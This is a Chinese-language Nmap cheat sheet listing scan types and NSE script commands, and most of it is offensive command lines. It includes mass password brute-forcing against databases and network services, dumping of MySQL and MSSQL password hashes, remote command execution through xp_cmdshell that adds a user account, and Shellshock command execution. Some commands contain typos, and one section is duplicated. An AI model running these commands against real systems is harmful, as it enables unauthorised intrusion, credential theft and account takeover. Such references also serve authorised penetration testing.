应用安全 - 工具使用 - Nmap
阅读原文时间:2023年07月16日阅读:1

TCP端口扫描类型

TCP connect扫描 三次握手完成/全连接/速度慢/易被检测到
TCP SYN扫描 半开扫描/发送SYN包启动TCP会话
TCP FIN扫描 半开扫描/发送SYN包启动TCP会话
TCP XMAS扫描 半开扫描/发送PSH、FIN、URG、TCP标志位为1的数据包

参数

半开扫描 -sS
操作系统版本探测 -sV
操作系统信息探测 -O
操作系统指纹和版本探测 -A
详细输出扫描情况 -V
指定端口 -p

全端口扫描

nmap -sS -p - -v xx.xx.183.79

常见漏洞盲扫 - XSS | CSRF

nmap --script vuln ip/domain

端口服务详细探测(可看到包数据)

nmap -sV --script unusual-port domain/ip

C段扫描

nmap -sP 192.168.1.0/24 #相当于ping

根据域名批量端口探测/爆破(975.txt为域名集合)

nmap -iL 975.txt --script=auth,vuln,ftp-brute,imap-brute,smtp-brute,pop3-brute,mongodb-brute,redis-brute,ms-sql-brute,rlogin-brute,rsync-brute,mysql-brute,pgsql-brute,oracle-sid-brute,oracle-brute,rtsp-url-brute,snmp-brute,svn-brute,telnet-brute,vnc-brute,xmpp-brute > scan.txt

对某一个IP进行nmap默认密码暴力破解并扫描 nmap --script=mysql-brute 192.168.157.130

对某一个IP段进行nmap默认密码暴力破解并扫描 nmap --script=mysql-brute 192.168.157.1-

使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息 map -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130

检查root空口令 nmap --script mysql-empty-password 192.168.195.130

查找蠕虫病毒

nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1 192.168.0.1-254

旁站查询

nmap -p80 --script hostmap-ip2hosts.nse 192.168.3.23

探测目标

svn nmap --script http-svn-info 192.168.3.0/24
http-wordpress-brute.nse nmap -p80 -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.3.0/24

扫描目标网站备份

nmap -p80 --script=http-backup-finder 192.168.3.0/24

内网嗅探

nmap -sn -Pn --script sniffer-detect.nse 192.168.3.0/24

配合shodan接口进行扫描

nmap --script shodan-api --script-args 'shodan-api.target=192.168.3.0/24,shodan-api.apikey=SHODANAPIKEY'

服务
ftp

检查目标ftp是否允许匿名登录/检测目录是否可读写 nmap -p 21 --script ftp-anon.nse -v 192.168.3.23
ftp爆破脚本[默认只会尝试一些比较简单的弱口令 nmap -p 21 --script ftp-brute.nse -v 192.168.3.23
ProFTPD nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23
nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23
VSFTPD v2.3.4 # nmap -p21--script ftp-vsftpd-backdoor.nse -v192.168.3.23

ssh

sshv1中间人攻击 nmap -p 22 --script sshv1.nse -v 192.168.3.23

smtp

爆破 nmap -p 25 --script smtp-brute.nse -v 192.168.3.23
枚举目标smtp服务器的邮件用户名,前提是目标要存在此错误配置 nmap -p 25 --script smtp-enum-users.nse -v 192.168.3.23
Exim 4.70之前版本中的string.c文件中的string_vformat函数中存在堆溢出 "nmap -p 25 --script smtp-vuln-cve2010-4344.nse -v 192.168.3.23
"
Postfix 2.5.13之前版本,2.6.10之前的2.6.x版本,2.7.4之前的2.7.x版本和2.8.3之前的2.8.x版本,存在溢出 nmap -p 25 --script smtp-vuln-cve2011-1720.nse -v 192.168.3.23
Exim dkim_exim_verify_finish() 存在格式字符串漏洞 nmap -p 25 --script smtp-vuln-cve2011-1764.nse -v 192.168.3.23

pop

爆破 nmap -p 110 --script pop3-brute.nse -v 192.168.3.23

imap

爆破 nmap -p 143,993 --script imap-brute.nse -v 192.168.3.23

dns

dns-zone-transfer nmap -p 53 --script dns-zone-transfer.nse -v 192.168.3.23
nmap -p 53 --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=target.org -v 192.168.3.23
telnet

爆破 nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s -v 192.168.3.0/24
smb

ms17-010 nmap -p445 --script smb-vuln-ms17-010.nse 192.168.3.0/24
smb-vuln-ms08-067.nse smb-vuln-ms10-054.nse smb-vuln-ms10-061.nse

数据库
informix

爆破 nmap -p 9088 --script informix-brute.nse 192.168.3.23

mysql

root账号空口令 nmap -p 3306 --script mysql-empty-password.nse -v 192.168.3.23
root弱口令简单爆破 nmap -p 3306 --script mysql-brute.nse -v 192.168.3.23
mysql中所有用户的hash nmap -p 3306 --script mysql-dump-hashes --script-args='username=root,password=root' 192.168.3.23
Mysql身份认证漏洞[MariaDB and MySQL 5.1.61,5.2.11, 5.3.5, 5.5.22] nmap -p 3306 --script mysql-vuln-cve2012-2122.nse -v 192.168.3.23
扫描C段mssql nmap -p 445 --script ms-sql-info.nse -v 203.124.11.0/24
nmap -p 1433 --script ms-sql-info.nse --script-args mssql.instance-port=1433 -v 192.168.3.0/24
扫描IP段mssql sa空密码 nmap -p 1433 --script ms-sql-empty-password.nse -v 192.168.3.0/24

mssql

sa弱口令爆破 nmap -p 1433 --script ms-sql-brute.nse -v 192.168.3.0/24
mssql 远程执行系统命令 nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd=net user test test add 192.168.3.0/24
导出mssql中所有的数据库用户及密码hash nmap -p 1433 --script ms-sql-dump-hashes -v 192.168.3.0/24

postgresql

爆破 nmap -p 5432 --script pgsql-brute -v 192.168.3.0/24

oracle

爆破 nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL -v 192.168.3.0/24
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL -v 192.168.3.0/24

mongdb

爆破 nmap -p 27017 --script mongodb-brute 192.168.3.0/24

redis

爆破 nmap -p 6379 --script redis-brute.nse 192.168.3.0/24

协议
snmp

爆破C段的snmp nmap -sU --script snmp-brute --script-args snmp-brute.communitiesdb=user.txt 192.168.3.0/24

ldap

爆破 nmap -p 389 --script ldap-brute --script-args ldap.base='cn=users,dc=cqure,dc=net' 192.168.3.0/24

xmpp

爆破 nmap -p 5222 --script xmpp-brute.nse 192.168.3.0/24

pptp

识别目标pptp版本 nmap -p 1723 --script pptp-version.nse 192.168.3.0/24
中间件

iis

短文件扫描 nmap -p80 --script http-iis-short-name-brute.nse 192.168.3.0/24
iis 5.0 6.0 webadv写 nmap --script http-iis-webdav-vuln.nse -p80,8080 192.168.3.0/24
iis6.0远程代码执行 nmap -sV --script http-vuln-cve --script-args uri='anotheruri' 192.168.3.0/24
服务器漏洞

bash

http-shellshock.nse bash远程执行 nmap -sV -p- --script http-shellshock --script-args uri=cgi-binbin,cmd=ls 192.168.3.0/24
工具框架平台

rsync

爆破 nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.3.0/24

rlogin

爆破 nmap -p 513 --script rlogin-brute 192.168.3.0/24

vnc

爆破 nmap --script vnc-brute -p 5900 192.168.3.0/24

pcanywhere

爆破 nmap -p 5631 --script=pcanywhere-brute 192.168.3.0/24

nessus

爆破 nmap --script nessus-brute -p 1241 192.168.3.0/24

Mysql

对某一个IP进行nmap默认密码暴力破解并扫描 nmap --script=mysql-brute 192.168.157.130

对某一个IP段进行nmap默认密码暴力破解并扫描 nmap --script=mysql-brute 192.168.157.1-

使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息 map -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130

检查root空口令 nmap --script mysql-empty-password 192.168.195.130

nexpose

爆破 nmap --script nexpose-brute -p 3780 192.168.3.0/24